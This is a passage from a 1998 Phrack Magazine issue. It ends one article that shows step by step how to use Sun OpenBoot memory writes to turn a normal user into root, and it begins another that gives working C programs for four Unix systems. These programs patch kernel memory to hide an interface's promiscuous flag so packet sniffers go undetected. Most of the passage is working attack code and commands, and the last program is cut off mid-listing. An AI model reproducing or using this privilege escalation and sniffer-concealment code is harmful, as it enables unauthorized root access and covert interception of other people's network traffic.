|
mudge 914 913 1 15:29:31 pts/5 0:01 tcsh
|
|||
|
|
|||
|
Sure enough, that's my tcsh. Now simply use ps to find the beginning of
|
|||
|
the proc structure:
|
|||
|
|
|||
|
Alliant+ ps -lp $$
|
|||
|
F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD
|
|||
|
8 S 777 914 913 0 51 20 f5e09000 436 f5e091d0 pts/5 0:01 tcsh
|
|||
|
|
|||
|
You can find the layout of your proc structure in /usr/include/sys/proc.h.
|
|||
|
From this it is apparent that the pointer to the credential structure is
|
|||
|
located 24 bytes into the proc struct. In the above example that means the
|
|||
|
pointer is at 0xf5e09000 + 0x18 or 0xf5e09018. The credential struct is
|
|||
|
listed in /usr/include/sys/cred.h. From this we note that the effective user
|
|||
|
id is 4 bytes into the cred structure.
|
|||
|
|
|||
|
Just so you can see that there's nothing hidden up my sleeves -
|
|||
|
|
|||
|
Alliant+ id
|
|||
|
uid=777(mudge) gid=1(other)
|
|||
|
|
|||
|
Fire up the trusty OpenBoot system via L1-A and get the pointer to the
|
|||
|
cred structure via :
|
|||
|
|
|||
|
ok hex f5e09000 18 + l@ .
|
|||
|
f5a99858
|
|||
|
ok go
|
|||
|
|
|||
|
Now, get the effective user id by
|
|||
|
ok hex f5a99858 4 + l@ .
|
|||
|
309 (309 hex == 777 decimal)
|
|||
|
ok go
|
|||
|
|
|||
|
Of course you want to change this to 0 (euid root):
|
|||
|
ok hex 0 f5a99858 4 + l!
|
|||
|
ok go
|
|||
|
|
|||
|
check your credentials!
|
|||
|
|
|||
|
Alliant+ id
|
|||
|
uid=777(mudge) gid=1(other) euid=0(root)
|
|||
|
|
|||
|
If you want to change the real user id it would be an offset of 12 (0xc):
|
|||
|
|
|||
|
ok hex 0 f5a99858 c + l!
|
|||
|
ok go
|
|||
|
|
|||
|
Alliant+ id
|
|||
|
uid=0(root) gid=1(other)
|
|||
|
|
|||
|
Needless to say, there's a whole different world living inside that hardware
|
|||
|
in front of you that is begging to be played and fiddled with. Keep in mind
|
|||
|
that you can do serious damage by mucking around in there though.
|
|||
|
|
|||
|
enjoy,
|
|||
|
|
|||
|
mudge@l0pht.com
|
|||
|
---
|
|||
|
http://www.l0pht.com
|
|||
|
---
|
|||
|
|
|||
|
Some excellent FORTH books that you should get to learn more about this are:
|
|||
|
|
|||
|
Starting FORTH, Leo Brodie, Prentice-Hall, Inc. ISBN 0-13-842922-7
|
|||
|
OpenBoot 3.x Command Reference Manual, SunSoft [get from a Sun Reseller]
|
|||
|
|
|||
|
Pilot FORTH was written by Neal Bridges (nbridges@interlog.com) -
|
|||
|
http://www.interlog.com/~nbridges
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 10 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ Interface Promiscuity Obscurity
|
|||
|
|
|||
|
|
|||
|
--------[ apk <apk@itl.waw.pl>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----[ INTRODUCTION
|
|||
|
|
|||
|
Normally, when you put an interface into promiscuous mode, it sets a flag
|
|||
|
in the device interface structure telling the world (or anyone who wants
|
|||
|
to check) that the device, is indeed, in promiscuous mode. This is, of
|
|||
|
course, annoying to those of you who want to obscure this fact from prying
|
|||
|
administrative eyes. Behold intrepid hacker, your salvation is at hand.
|
|||
|
The following modules for FreeBSD, Linux, HP-UX, IRIX and Solaris allow you
|
|||
|
to obscure the IFF_PROMISC bit and run all your wonderful little packet
|
|||
|
sniffers incognito...
|
|||
|
|
|||
|
|
|||
|
----[ IMPLEMENTATION DETAILS
|
|||
|
|
|||
|
Usage of the code is simple. After you put the interface into promiscuous
|
|||
|
mode, you can clean the IFF_PROMISC flag with:
|
|||
|
|
|||
|
`./i <interface> 0`
|
|||
|
|
|||
|
and reset the flag with:
|
|||
|
|
|||
|
`./i <interface> 1`.
|
|||
|
|
|||
|
Note that these programs only change interface's flag value, they don't affect
|
|||
|
NIC status. On systems which allow setting promiscuous mode by SIOCSIFFLAGS
|
|||
|
however, any call to SIOCSIFFLAGS will make the change take effect (e.g. after
|
|||
|
clearing promisc flag:
|
|||
|
|
|||
|
'ifconfig <interface> up'
|
|||
|
|
|||
|
will really turn off promiscuous mode). Systems for which above is true are:
|
|||
|
FreeBSD, Linux, Irix. On these three you can run a sniffer in non-promiscuous
|
|||
|
mode, and then some time later set IFF_PROIMISC on the interface, then with
|
|||
|
the above command set promiscuous mode for interface. This is most useful on
|
|||
|
FreeBSD because in doing this you won't get that annoying `promiscuous mode
|
|||
|
enabled for <interface>' message in the dmesg buffer (it's only logged when
|
|||
|
you enable promiscuous mode via bpf by BIOCPROMISC).
|
|||
|
|
|||
|
On Solaris, every alias has its own flags, so you can set flags for any alias:
|
|||
|
|
|||
|
'interface[:<alias number>]'
|
|||
|
|
|||
|
(because Solaris doesn't set IFF_PROMISC when you turn on promiscuous mode
|
|||
|
using DLPI you don't need this program however).
|
|||
|
|
|||
|
|
|||
|
----[ THE CODE
|
|||
|
|
|||
|
<++> EX/promisc/freebsd-p.c
|
|||
|
/*
|
|||
|
* promiscuous flag changer v0.1, apk
|
|||
|
* FreeBSD version, compile with -lkvm
|
|||
|
*
|
|||
|
* usage: promisc [interface 0|1]
|
|||
|
*
|
|||
|
* note: look at README for notes
|
|||
|
*/
|
|||
|
|
|||
|
#ifdef __FreeBSD__
|
|||
|
# include <osreldate.h>
|
|||
|
# if __FreeBSD_version >= 300000
|
|||
|
# define FBSD3
|
|||
|
# endif
|
|||
|
#endif
|
|||
|
|
|||
|
#include <sys/types.h>
|
|||
|
#include <sys/time.h>
|
|||
|
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <net/if.h>
|
|||
|
#ifdef FBSD3
|
|||
|
# include <net/if_var.h>
|
|||
|
#endif
|
|||
|
|
|||
|
#include <kvm.h>
|
|||
|
#include <nlist.h>
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <errno.h>
|
|||
|
#include <string.h>
|
|||
|
#include <fcntl.h>
|
|||
|
#include <unistd.h>
|
|||
|
|
|||
|
#define IFFBITS \
|
|||
|
"\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \
|
|||
|
"\10NOARP\11PROMISC\12ALLMULTI\13OACTIVE\14SIMPLEX\15LINK0\16LINK1\17LINK2" \
|
|||
|
"\20MULTICAST"
|
|||
|
|
|||
|
struct nlist nl[] = {
|
|||
|
{ "_ifnet" },
|
|||
|
#define N_IFNET 0
|
|||
|
{ "" }
|
|||
|
};
|
|||
|
|
|||
|
int kread(kvm_t *kd, u_long addr, void *buf, int len) {
|
|||
|
int c;
|
|||
|
|
|||
|
if ((c = kvm_read(kd, addr, buf, len)) != len)
|
|||
|
return -1;
|
|||
|
return c;
|
|||
|
}
|
|||
|
|
|||
|
int kwrite(kvm_t *kd, u_long addr, void *buf, int len) {
|
|||
|
int c;
|
|||
|
|
|||
|
if ((c = kvm_write(kd, addr, buf, len)) != len)
|
|||
|
return -1;
|
|||
|
return c;
|
|||
|
}
|
|||
|
|
|||
|
void usage(char *s) {
|
|||
|
printf("usage: %s [interface 0|1]\n", s);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
int main(int argc, char *argv[]) {
|
|||
|
#ifdef FBSD3
|
|||
|
struct ifnethead ifh;
|
|||
|
#endif
|
|||
|
struct ifnet ifn, *ifp;
|
|||
|
char ifname[IFNAMSIZ];
|
|||
|
int unit, promisc, i, any;
|
|||
|
char *interface, *cp;
|
|||
|
kvm_t *kd;
|
|||
|
|
|||
|
switch (argc) {
|
|||
|
case 1:
|
|||
|
promisc = -1;
|
|||
|
interface = NULL;
|
|||
|
break;
|
|||
|
case 3:
|
|||
|
interface = argv[1];
|
|||
|
if ((cp = strpbrk(interface, "1234567890")) == NULL) {
|
|||
|
printf("bad interface name: %s\n", interface);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
unit = strtol(cp, NULL, 10);
|
|||
|
*cp = 0;
|
|||
|
promisc = atoi(argv[2]);
|
|||
|
break;
|
|||
|
default:
|
|||
|
usage(argv[0]);
|
|||
|
}
|
|||
|
|
|||
|
if ((kd = kvm_open(NULL, NULL, NULL, O_RDWR, argv[0])) == NULL)
|
|||
|
exit(1);
|
|||
|
|
|||
|
if (kvm_nlist(kd, nl) == -1) {
|
|||
|
perror("kvm_nlist");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
if (nl[N_IFNET].n_type == 0) {
|
|||
|
printf("Cannot find symbol: %s\n", nl[N_IFNET].n_name);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
#ifdef FBSD3
|
|||
|
if (kread(kd, nl[N_IFNET].n_value, &ifh, sizeof(ifh)) == -1) {
|
|||
|
perror("kread");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
ifp = ifh.tqh_first;
|
|||
|
#else
|
|||
|
if (kread(kd, nl[N_IFNET].n_value, &ifp, sizeof(ifp)) == -1) {
|
|||
|
perror("kread");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
if (kread(kd, (u_long)ifp, &ifp, sizeof(ifp)) == -1) {
|
|||
|
perror("kread");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
#endif
|
|||
|
|
|||
|
#ifdef FBSD3
|
|||
|
for (; ifp; ifp = ifn.if_link.tqe_next) {
|
|||
|
#else
|
|||
|
for (; ifp; ifp = ifn.if_next) {
|
|||
|
#endif
|
|||
|
if (kread(kd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) {
|
|||
|
perror("kread");
|
|||
|
break;
|
|||
|
}
|
|||
|
if (kread(kd, (u_long)ifn.if_name, ifname, sizeof(ifname)) == -1) {
|
|||
|
perror("kread");
|
|||
|
break;
|
|||
|
}
|
|||
|
printf("%d: %s%d, flags=0x%x ", ifn.if_index, ifname, ifn.if_unit,
|
|||
|
(unsigned short)ifn.if_flags);
|
|||
|
/* this is from ifconfig sources */
|
|||
|
cp = IFFBITS;
|
|||
|
any = 0;
|
|||
|
putchar('<');
|
|||
|
while ((i = *cp++) != 0) {
|
|||
|
if (ifn.if_flags & (1 << (i-1))) {
|
|||
|
if (any)
|
|||
|
putchar(',');
|
|||
|
any = 1;
|
|||
|
for (; *cp > 32; )
|
|||
|
putchar(*cp++);
|
|||
|
} else
|
|||
|
for (; *cp > 32; cp++)
|
|||
|
;
|
|||
|
}
|
|||
|
putchar('>');
|
|||
|
putchar('\n');
|
|||
|
if (interface && strcmp(interface, ifname) == 0 && unit == ifn.if_unit) {
|
|||
|
switch (promisc) {
|
|||
|
case -1:
|
|||
|
break;
|
|||
|
case 0: if ((ifn.if_flags & IFF_PROMISC) == 0)
|
|||
|
printf("\tIFF_PROMISC not set\n");
|
|||
|
else {
|
|||
|
printf("\t%s%d: clearing IFF_PROMISC\n", ifname, unit);
|
|||
|
ifn.if_flags &= ~IFF_PROMISC;
|
|||
|
if (kwrite(kd, (u_long)ifp, &ifn, sizeof(ifn)) == -1)
|
|||
|
perror("kwrite");
|
|||
|
}
|
|||
|
break;
|
|||
|
default: if ((ifn.if_flags & IFF_PROMISC) == IFF_PROMISC)
|
|||
|
printf("\tIFF_PROMISC set already\n");
|
|||
|
else {
|
|||
|
printf("\t%s%d: setting IFF_PROMISC\n", ifname, unit);
|
|||
|
ifn.if_flags |= IFF_PROMISC;
|
|||
|
if (kwrite(kd, (u_long)ifp, &ifn, sizeof(ifn)) == -1)
|
|||
|
perror("kwrite");
|
|||
|
}
|
|||
|
break;
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
<-->
|
|||
|
<++> EX/promisc/hpux-p.c
|
|||
|
/*
|
|||
|
* promiscuous flag changer v0.1, apk
|
|||
|
* HP-UX version, on HP-UX 9.x compile with -DHPUX9
|
|||
|
*
|
|||
|
* usage: promisc [interface 0|1]
|
|||
|
*
|
|||
|
* note: look at README for notes
|
|||
|
*/
|
|||
|
|
|||
|
/* #define HPUX9 on HP-UX 9.x */
|
|||
|
|
|||
|
#include <sys/types.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
|
|||
|
#include <net/if.h>
|
|||
|
|
|||
|
#include <nlist.h>
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <errno.h>
|
|||
|
#include <string.h>
|
|||
|
#include <fcntl.h>
|
|||
|
#include <unistd.h>
|
|||
|
|
|||
|
#ifndef HPUX9
|
|||
|
# define PATH_VMUNIX "/stand/vmunix"
|
|||
|
#else
|
|||
|
# define PATH_VMUNIX "/hp-ux"
|
|||
|
#endif
|
|||
|
|
|||
|
#define PATH_KMEM "/dev/kmem"
|
|||
|
#define IFFBITS \
|
|||
|
"\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \
|
|||
|
"\10NOARP\11PROMISC\12ALLMULTI\13LOCALSUBNETS\14MULTICAST\15CKO\16xNOACC"
|
|||
|
|
|||
|
struct nlist nl[] = {
|
|||
|
{ "ifnet" },
|
|||
|
#define N_IFNET 0
|
|||
|
{ "" }
|
|||
|
};
|
|||
|
|
|||
|
int kread(fd, addr, buf, len)
|
|||
|
int fd, len;
|
|||
|
off_t addr;
|
|||
|
void *buf;
|
|||
|
{
|
|||
|
int c;
|
|||
|
|
|||
|
if (lseek(fd, addr, SEEK_SET) == -1)
|
|||
|
return -1;
|
|||
|
if ((c = read(fd, buf, len)) != len)
|
|||
|
return -1;
|
|||
|
return c;
|
|||
|
}
|
|||
|
|
|||
|
int kwrite(fd, addr, buf, len)
|
|||
|
int fd, len;
|
|||
|
off_t addr;
|
|||
|
void *buf;
|
|||
|
{
|
|||
|
int c;
|
|||
|
|
|||
|
if (lseek(fd, addr, SEEK_SET) == -1)
|
|||
|
return -1;
|
|||
|
if ((c = write(fd, buf, len)) != len)
|
|||
|
return -1;
|
|||
|
return c;
|
|||
|
}
|
|||
|
|
|||
|
void usage(s)
|
|||
|
char *s;
|
|||
|
{
|
|||
|
printf("usage: %s [interface 0|1]\n", s);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
main(argc, argv)
|
|||
|
int argc;
|
|||
|
char **argv;
|
|||
|
{
|
|||
|
struct ifnet ifn, *ifp;
|
|||
|
char ifname[IFNAMSIZ];
|
|||
|
int fd, unit, promisc, i, any;
|
|||
|
char *interface, *cp;
|
|||
|
|
|||
|
switch (argc) {
|
|||
|
case 1:
|
|||
|
promisc = -1;
|
|||
|
interface = NULL;
|
|||
|
break;
|
|||
|
case 3:
|
|||
|
interface = argv[1];
|
|||
|
if ((cp = strpbrk(interface, "1234567890")) == NULL) {
|
|||
|
printf("bad interface name: %s\n", interface);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
unit = strtol(cp, NULL, 10);
|
|||
|
*cp = 0;
|
|||
|
promisc = atoi(argv[2]);
|
|||
|
break;
|
|||
|
default:
|
|||
|
usage(argv[0]);
|
|||
|
}
|
|||
|
|
|||
|
if (nlist(PATH_VMUNIX, nl) == -1) {
|
|||
|
perror(PATH_VMUNIX);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
if (nl[N_IFNET].n_type == 0) {
|
|||
|
printf("Cannot find symbol: %s\n", nl[0].n_name);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
if ((fd = open(PATH_KMEM, O_RDWR)) == -1) {
|
|||
|
perror(PATH_KMEM);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
if (kread(fd, nl[N_IFNET].n_value, &ifp, sizeof(ifp)) == -1) {
|
|||
|
perror("kread");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
for (; ifp; ifp = ifn.if_next) {
|
|||
|
if (kread(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) {
|
|||
|
perror("kread");
|
|||
|
break;
|
|||
|
}
|
|||
|
if (kread(fd, (u_long)ifn.if_name, ifname, sizeof(ifname)) == -1) {
|
|||
|
perror("kread");
|
|||
|
break;
|
|||
|
}
|
|||
|
printf("%d: %s%d, flags=0x%x ", ifn.if_index, ifname, ifn.if_unit,
|
|||
|
ifn.if_flags);
|
|||
|
cp = IFFBITS;
|
|||
|
any = 0;
|
|||
|
putchar('<');
|
|||
|
while ((i = *cp++) != 0) {
|
|||
|
if (ifn.if_flags & (1 << (i-1))) {
|
|||
|
if (any)
|
|||
|
putchar(',');
|
|||
|
any = 1;
|
|||
|
for (; *cp > 32; )
|
|||
|
putchar(*cp++);
|
|||
|
} else
|
|||
|
for (; *cp > 32; cp++)
|
|||
|
;
|
|||
|
}
|
|||
|
putchar('>');
|
|||
|
putchar('\n');
|
|||
|
if (interface && strcmp(interface, ifname) == 0 && unit == ifn.if_unit) {
|
|||
|
switch (promisc) {
|
|||
|
case -1:
|
|||
|
break;
|
|||
|
case 0: if ((ifn.if_flags & IFF_PROMISC) == 0)
|
|||
|
printf("\tIFF_PROMISC not set\n");
|
|||
|
else {
|
|||
|
printf("\t%s%d: clearing IFF_PROMISC\n", ifname, unit);
|
|||
|
ifn.if_flags &= ~IFF_PROMISC;
|
|||
|
if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1)
|
|||
|
break;
|
|||
|
}
|
|||
|
break;
|
|||
|
default: if ((ifn.if_flags & IFF_PROMISC) == IFF_PROMISC)
|
|||
|
printf("\tIFF_PROMISC set already\n");
|
|||
|
else {
|
|||
|
printf("\t%s%d: setting IFF_PROMISC\n", ifname, unit);
|
|||
|
ifn.if_flags |= IFF_PROMISC;
|
|||
|
if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1)
|
|||
|
break;
|
|||
|
}
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
<-->
|
|||
|
<++> EX/promisc/irix-p.c
|
|||
|
/*
|
|||
|
* promiscuous flag changer v0.1, apk
|
|||
|
* Irix version, on Irix 6.x compile with -lelf, on 5.x with -lmld
|
|||
|
*
|
|||
|
* usage: promisc [interface 0|1]
|
|||
|
*
|
|||
|
* note: look at README for notes on irix64 compile with -DI64 -64
|
|||
|
*/
|
|||
|
|
|||
|
/* #define I64 for Irix64*/
|
|||
|
|
|||
|
#include <sys/types.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
|
|||
|
#include <net/if.h>
|
|||
|
|
|||
|
#include <nlist.h>
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <errno.h>
|
|||
|
#include <string.h>
|
|||
|
#include <fcntl.h>
|
|||
|
#include <unistd.h>
|
|||
|
|
|||
|
#define PATH_VMUNIX "/unix"
|
|||
|
|
|||
|
#define PATH_KMEM "/dev/kmem"
|
|||
|
#define IFFBITS \
|
|||
|
"\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \
|
|||
|
"\10NOARP\11PROMISC\12ALLMULTI\13LOCALSUBNETS\14MULTICAST\15CKO\16xNOACC"
|
|||
|
|
|||
|
#ifdef I64
|
|||
|
struct nlist64 nl[] = {
|
|||
|
#else
|
|||
|
struct nlist nl[] = {
|
|||
|
#endif
|
|||
|
{ "ifnet" },
|
|||
|
#define N_IFNET 0
|
|||
|
{ "" }
|
|||
|
};
|
|||
|
|
|||
|
int kread(int fd, off_t addr, void *buf, int len) {
|
|||
|
int c;
|
|||
|
|
|||
|
#ifdef I64
|
|||
|
if (lseek64(fd, (off_t)addr, SEEK_SET) == -1)
|
|||
|
#else
|
|||
|
if (lseek(fd, (off_t)addr, SEEK_SET) == -1)
|
|||
|
#endif
|
|||
|
return -1;
|
|||
|
if ((c = read(fd, buf, len)) != len)
|
|||
|
return -1;
|
|||
|
return c;
|
|||
|
}
|
|||
|
|
|||
|
int kwrite(int fd, off_t addr, void *buf, int len) {
|
|||
|
int c;
|
|||
|
|
|||
|
#ifdef I64
|
|||
|
if (lseek64(fd, (off_t)addr, SEEK_SET) == -1)
|
|||
|
#else
|
|||
|
if (lseek(fd, (off_t)addr, SEEK_SET) == -1)
|
|||
|
#endif
|
|||
|
return -1;
|
|||
|
if ((c = write(fd, buf, len)) != len)
|
|||
|
return -1;
|
|||
|
return c;
|
|||
|
}
|
|||
|
|
|||
|
void usage(s)
|
|||
|
char *s;
|
|||
|
{
|
|||
|
printf("usage: %s [interface 0|1]\n", s);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
main(argc, argv)
|
|||
|
int argc;
|
|||
|
char **argv;
|
|||
|
{
|
|||
|
struct ifnet ifn, *ifp;
|
|||
|
char ifname[IFNAMSIZ];
|
|||
|
int fd, unit, promisc, i, any;
|
|||
|
char *interface, *cp;
|
|||
|
|
|||
|
switch (argc) {
|
|||
|
case 1:
|
|||
|
promisc = -1;
|
|||
|
interface = NULL;
|
|||
|
break;
|
|||
|
case 3:
|
|||
|
interface = argv[1];
|
|||
|
if ((cp = strpbrk(interface, "1234567890")) == NULL) {
|
|||
|
printf("bad interface name: %s\n", interface);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
unit = strtol(cp, NULL, 10);
|
|||
|
*cp = 0;
|
|||
|
promisc = atoi(argv[2]);
|
|||
|
break;
|
|||
|
default:
|
|||
|
usage(argv[0]);
|
|||
|
}
|
|||
|
|
|||
|
#ifdef I64
|
|||
|
if (nlist64(PATH_VMUNIX, nl) == -1) {
|
|||
|
#else
|
|||
|
if (nlist(PATH_VMUNIX, nl) == -1) {
|
|||
|
#endif
|
|||
|
perror(PATH_VMUNIX);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
if (nl[N_IFNET].n_type == 0) {
|
|||
|
printf("Cannot find symbol: %s\n", nl[0].n_name);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
if ((fd = open(PATH_KMEM, O_RDWR)) == -1) {
|
|||
|
perror(PATH_KMEM);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
if (kread(fd, nl[N_IFNET].n_value, &ifp, sizeof(ifp)) == -1) {
|
|||
|
perror("kread");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
for (; ifp; ifp = ifn.if_next) {
|
|||
|
if (kread(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) {
|
|||
|
perror("kread");
|
|||
|
break;
|
|||
|
}
|
|||
|
if (kread(fd, (u_long)ifn.if_name, ifname, sizeof(ifname)) == -1) {
|
|||
|
perror("kread");
|
|||
|
break;
|
|||
|
}
|
|||
|
printf("%d: %s%d, flags=0x%x ", ifn.if_index, ifname, ifn.if_unit,
|
|||
|
ifn.if_flags);
|
|||
|
cp = IFFBITS;
|
|||
|
any = 0;
|
|||
|
putchar('<');
|
|||
|
while ((i = *cp++) != 0) {
|
|||
|
if (ifn.if_flags & (1 << (i-1))) {
|
|||
|
if (any)
|
|||
|
putchar(',');
|
|||
|
any = 1;
|
|||
|
for (; *cp > 32; )
|
|||
|
putchar(*cp++);
|
|||
|
} else
|
|||
|
for (; *cp > 32; cp++)
|
|||
|
;
|
|||
|
}
|
|||
|
putchar('>');
|
|||
|
putchar('\n');
|
|||
|
if (interface && strcmp(interface, ifname) == 0 && unit == ifn.if_unit) {
|
|||
|
switch (promisc) {
|
|||
|
case -1:
|
|||
|
break;
|
|||
|
case 0: if ((ifn.if_flags & IFF_PROMISC) == 0)
|
|||
|
printf("\tIFF_PROMISC not set\n");
|
|||
|
else {
|
|||
|
printf("\t%s%d: clearing IFF_PROMISC\n", ifname, unit);
|
|||
|
ifn.if_flags &= ~IFF_PROMISC;
|
|||
|
if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1)
|
|||
|
break;
|
|||
|
}
|
|||
|
break;
|
|||
|
default: if ((ifn.if_flags & IFF_PROMISC) == IFF_PROMISC)
|
|||
|
printf("\tIFF_PROMISC set already\n");
|
|||
|
else {
|
|||
|
printf("\t%s%d: setting IFF_PROMISC\n", ifname, unit);
|
|||
|
ifn.if_flags |= IFF_PROMISC;
|
|||
|
if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1)
|
|||
|
break;
|
|||
|
}
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
<-->
|
|||
|
<++> EX/promisc/linux-p.c
|
|||
|
/*
|
|||
|
* promiscuous flag changer v0.1, apk
|
|||
|
* Linux version
|
|||
|
*
|
|||
|
* usage: promisc [interface 0|1]
|
|||
|
*
|
|||
|
* note: look at README for notes
|
|||
|
*/
|
|||
|
|
|||
|
#include <sys/types.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
|
|||
|
#include <net/if.h>
|
|||
|
#define __KERNEL__
|
|||
|
#include <linux/netdevice.h>
|
|||
|
#undef __KERNEL__
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <errno.h>
|
|||
|
#include <string.h>
|
|||
|
#include <fcntl.h>
|
|||
|
#include <unistd.h>
|
|||
|
|
|||
|
#define HEAD_NAME "dev_base"
|
|||
|
#define PATH_KSYMS "/proc/ksyms"
|
|||
|
#define PATH_KMEM "/dev/mem"
|
|||
|
#define IFFBITS \
|
|||
|
"\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \
|
|||
|
"\10NOARP\11PROMISC\12ALLMULTI\13MASTER\14SLAVE\15MULTICAST"
|
|||
|
|
|||
|
int kread(int fd, u_long addr, void *buf, int len) {
|
|||
|
int c;
|
|||
|
|
|||
|
if (lseek(fd, (off_t)addr, SEEK_SET) == -1)
|
|||
|
return -1;
|
|||
|
if ((c = read(fd, buf, len)) != len)
|
|||
|
return -1;
|
|||
|
return c;
|
|||
|
}
|
|||
|
|
|||
|
int kwrite(int fd, u_long addr, void *buf, int len) {
|
|||
|
int c;
|
|||
|
|
|||
|
if (lseek(fd, (off_t)addr, SEEK_SET) == -1)
|
|||
|
return -1;
|
|||
|
if ((c = write(fd, buf, len)) != len)
|
|||
|
return -1;
|
|||
|
return c;
|
|||
|
}
|
|||
|
|
|||
|
void usage(char *s) {
|
|||
|
printf("usage: %s [interface 0|1]\n", s);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
main(int argc, char *argv[]) {
|
|||
|
struct device devn, *devp;
|
|||
|
char ifname[IFNAMSIZ];
|
|||
|
int fd, unit, promisc, i, any;
|
|||
|
char *interface, *cp;
|
|||
|
FILE *fp;
|
|||
|
char line[256], symname[256];
|
|||
|
|
|||
|
switch (argc) {
|
|||
|
case 1:
|
|||
|
promisc = -1;
|
|||
|
interface = NULL;
|
|||
|
break;
|
|||
|
case 3:
|
|||
|
interface = argv[1];
|
|||
|
unit = 0;
|
|||
|
if ((cp = strchr(interface, ':')) != NULL) {
|
|||
|
*cp++ = 0;
|
|||
|
unit = strtol(cp, NULL, 10);
|
|||
|
}
|
|||
|
promisc = atoi(argv[2]);
|
|||
|
break;
|
|||
|
default:
|
|||
|
usage(argv[0]);
|
|||
|
}
|
|||
|
|
|||
|
if ((fp = fopen(PATH_KSYMS, "r")) == NULL) {
|
|||
|
perror(PATH_KSYMS);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
devp = NULL;
|
|||
|
while (fgets(line, sizeof(line), fp) != NULL &&
|
|||
|
sscanf(line, "%x %s", &i, symname) == 2)
|
|||
|
if (strcmp(symname, HEAD_NAME) == 0) {
|
|||
|
devp = (struct device *)i;
|
|||
|
break;
|
|||
|
}
|
|||
|
fclose(fp);
|
|||
|
if (devp == NULL) {
|
|||
|
printf("Cannot find symbol: %s\n", HEAD_NAME);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
if ((fd = open(PATH_KMEM, O_RDWR)) == -1) {
|
|||
|
perror(PATH_KMEM);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
if (kread(fd, (u_long)devp, &devp, sizeof(devp)) == -1) {
|
|||
|
perror("kread");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
for (; devp; devp = devn.next) {
|
|||
|
if (kread(fd, (u_long)devp, &devn, sizeof(devn)) == -1) {
|
|||
|
perror("kread");
|
|||
|
break;
|
|||
|
}
|
|||
|
if (kread(fd, (u_long)devn.name, ifname, sizeof(ifname)) == -1) {
|
|||
|
perror("kread");
|
|||
|
break;
|
|||
|
}
|
|||
|
printf("%s: flags=0x%x ", ifname, devn.flags);
|
|||
|
cp = IFFBITS;
|
|||
|
any = 0;
|
|||
|
putchar('<');
|
|||
|
while ((i = *cp++) != 0) {
|
|||
|
if (devn.flags & (1 << (i-1))) {
|
|||
|
if (any)
|
|||
|
putchar(',');
|
|||
|
any = 1;
|
|||
|
for (; *cp > 32; )
|
|||
|
putchar(*cp++);
|
|||
|
} else
|
|||
|
for (; *cp > 32; cp++)
|
|||
|
;
|
|||
|
}
|
|||
|
putchar('>');
|
|||
|
putchar('\n');
|
|||
|
/* This sux */
|
|||
|
/* if (interface && strcmp(interface, ifname) == 0 && unit == ifn.if_unit) {*/
|
|||
|
if (interface && strcmp(interface, ifname) == 0) {
|
|||
|
switch (promisc) {
|
|||
|
case -1:
|
|||
|
break;
|
|||
|
case 0: if ((devn.flags & IFF_PROMISC) == 0)
|
|||
|
printf("\tIFF_PROMISC not set\n");
|
|||
|
else {
|
|||
|
printf("\t%s: clearing IFF_PROMISC\n", ifname);
|
|||
|
devn.flags &= ~IFF_PROMISC;
|
|||
|
if (kwrite(fd, (u_long)devp, &devn, sizeof(devn)) == -1)
|
|||
|
break;
|
|||
|
}
|
|||
